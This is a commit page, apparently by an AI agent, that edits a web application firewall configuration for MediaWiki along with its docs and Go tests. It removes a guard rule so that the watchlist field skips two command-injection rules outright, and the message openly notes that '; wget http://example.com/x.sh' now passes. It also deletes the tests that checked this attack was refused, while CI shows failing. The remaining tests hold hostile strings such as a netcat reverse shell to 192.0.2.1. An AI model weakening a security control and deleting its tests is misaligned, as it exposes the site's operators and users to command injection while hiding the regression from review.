1 Commits
Author SHA1 Message Date
clawbot 4a21a0287e Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 4m44s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230, 932235 and 932380, which read a title
at the start of a line as a command. "; wget http://example.com/x.sh"
passes in wpTitles as a result; $(...) and /bin/sh are still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 00:53:51 +00:00
3 changed files with 13 additions and 32 deletions

No files matched your search

+4 -7
View File
@@ -1040,13 +1040,10 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `user-reason`, for changing a user's groups; - `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page. - `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that - On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It skips the same `Special:EditWatchlist/raw` sends, one title per line. A title at the
four rules. A title at the start of a line reads as a command, so it also start of a line reads as a command, so this field also skips 932125,
skips 932125, 932230, 932235 and 932380. It skips 932235 and 932260 only 932230, 932235 and 932380. A command such as
when it holds no `;`, `|`, `&` or backtick. So a command such as `; wget http://example.com/x.sh` therefore passes in this field.
`; wget http://example.com/x.sh` is still refused. A list that mixes a
title holding one of these with a title starting with a command name is
refused too.
- The wikitext of a page, which holds templates, tables and any code it - The wikitext of a page, which holds templates, tables and any code it
shows: shows:
- `wpTextbox1` on MediaWiki's pages; - `wpTextbox1` on MediaWiki's pages;
+7 -20
View File
@@ -15,7 +15,7 @@
# Pages under /wiki/ need neither. # Pages under /wiki/ need neither.
# #
# Four rules read a search, a title or a name as a command or a system file. # Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four: # Each exclusion below for such a field removes these four, and only these:
# 930120: .htaccess # 930120: .htaccess
# 932120: powershell # 932120: powershell
# 932250: ls -la # 932250: ls -la
@@ -181,12 +181,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per # Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. A title at the start of a line reads as a command to 932125, 932230, # line. A title at the start of a line reads as a command to 932125, 932230,
# 932235 and 932380, so wpTitles skips those as well as the four rules: # 932235 and 932380, so wpTitles skips those as well as the four rules:
# "Lighthouse notes", "Python3 notes", "Powershell notes", "Ls -la notes" # "Lighthouse notes", "Python3 notes", "Ls -la notes" and ".htaccess notes"
# and ".htaccess notes" # The only rules that refuse "; wget http://example.com/x.sh" in wpTitles are
# It skips 932235 and 932260 only when it holds no ";", "|", "&" or backtick, # 932235 and 932260, so that command passes there. Commands with $(...) or a
# so "; wget http://example.com/x.sh" is still refused. A watchlist that mixes # shell path such as /bin/sh are still refused.
# a title holding one of these with a title starting with a command name is
# refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain" "id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
@@ -195,18 +193,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip both rules for a second wpTitles holding
# a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`]" \
"ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles"
+2 -5
View File
@@ -270,14 +270,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got) t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
} }
// wpTitles skips 932235 and 932260 only when it holds no ";", "|", "&" // wpTitles skips 932235 and 932260, so mediawikiCommandAttack passes
// or backtick, and only when the body sends it once. // there. Commands with $(...) or /bin/sh are still refused.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29", "Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444", "Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
} { } {